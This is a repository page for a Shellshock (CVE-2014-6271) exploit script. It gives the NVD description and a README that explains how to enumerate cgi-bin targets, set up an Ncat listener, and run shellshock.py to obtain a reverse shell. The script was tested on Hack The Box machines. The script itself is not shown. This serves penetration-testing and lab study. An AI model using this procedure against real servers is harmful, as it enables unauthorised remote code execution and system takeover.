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CVE-2014-6271 PoC — GNU Bash 远程代码执行漏洞

Source
Associated Vulnerability
Title: GNU Bash 远程代码执行漏洞 (CVE-2014-6271)
Description:GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka "ShellShock." NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.
Description
Shellshock exploit aka CVE-2014-6271
Readme
# CVE-2014-6271 - Shellshock.py

Shellshock exploit aka CVE-2014-6271. <br>
Tested on Bash 3.2 and Bash 4.2. <br>
For more information about the vulnerability visit : https://nvd.nist.gov/vuln/detail/CVE-2014-6271

## Note

---

The exploit was mainly tested on **Hack The Box** in the following boxes:

- `Beep` box : https://app.hackthebox.eu/machines/Beep
- `Shocker` box : https://app.hackthebox.eu/machines/Shocker

<br>
This exploit will only work on web servers having a version of Bash < 4.3.<br>
In some cases, if you are able to get a HTTP 200 code on your web browser<br>
by doing a GET request to the `/cgi-bin/`, you could just try to run the exploit against that directory.<br><br>

Otherwise if you have a 403 on the `/cgi-bin/` directory, try to enumerates for files<br>
within that directory with a good wordlist, searching for `.sh` or `.cgi` extensions.<br>

**NOTE: Don't forget to setup your TCP listenner, otherwise the exploit might give you**
**a false positive during the testRevShell call check**<br><br>

## Proof of Concept (POC)

---

First of all we can see the arguments that the exploit is taking by running: `shellshock.py -h`<br><br>
![Example 1](img/poc_script_help.png) <br><br>
Then we can set up a Ncat listenner on a port of our choice, here I chose 45<br><br>
![Example 2](img/poc_pre_shell.png) <br><br>
Next we can run the exploit by supplying all the arguments that it takes by running:<br> `shellshock.py [OUR_IP] [OUR_LISTENNING_PORT] [TARGET_URL]`<br>
The target URL here as you can see is where the web server sends a POST request during authentication on that box <br><br>
Here as we can see in the output, the exploit tried sending the payload over SSL using multiple TLS versions, until it succeed <br><br>
![Example 3](img/poc_script.png) <br><br>
And here we got our reverse shell! Lucky enough, the web server was running as root. <br><br>
![Example 4](img/poc_shell.png) <br>
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